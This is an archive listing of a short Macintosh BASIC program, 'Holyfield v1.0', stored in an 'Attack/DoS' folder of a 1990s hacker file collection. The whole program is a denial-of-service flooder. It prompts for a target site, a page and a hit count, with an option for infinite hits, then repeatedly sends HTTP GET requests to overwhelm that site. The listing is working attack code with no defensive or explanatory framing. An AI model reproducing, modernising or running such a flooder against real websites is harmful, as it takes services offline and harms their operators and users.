home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Attack⁄DoS / Holyfield v1.0.sit / Holyfield v1.0 / holyfield.bas < prev    next >
BASIC Source File  |  1994-11-13  |  893b  |  24 lines
  1. 1 rem Holyfield v1.0 By Rasputin www.geocities.com/siliconvalley/6614
  2. 2 rem Please don't modify and distribute this code! Madcow software 1996 
  3. 10 cls
  4. 11 graphics 0
  5. 12 graphics window 25,25,350,73
  6. 13 call "wintitle","Holyfield v1.0"
  7. 14 graphics pict 0,0,"madcow"
  8. 15 graphics 0
  9. 20 site$ = inputbox("Enter the full address of the site to hit","Holyfield v1.0",site$,0)
  10. 25 page$ = inputbox("Enter the page to hit","Holyfield v1.0",page$,0)
  11. 30 hits$ = inputbox("How many hits? 999 for infinite.","Holyfield v1.0",hits$,0)
  12. 35 let ihits = hits$
  13. 36 index = 0
  14. 40 while index <> ihits
  15. 41 if ihits <> 999 then index = index+1
  16. 45 httpcmd$ = "GET "+page$+" HTTP/1.0"+chr$(10)+chr$(10)
  17. 50 filename$ = "holyfield file"
  18. 55 domain_name$ = site$
  19. 60 ipaddr = macfunction("dnr2num",domain_name$)
  20. 65 call "fetchHTTP",ipaddr,httpcmd$,filename$
  21. 69 print index
  22. 70 wend
  23. 80 print "Holyfield is finished.CMD-Q to quit"
  24.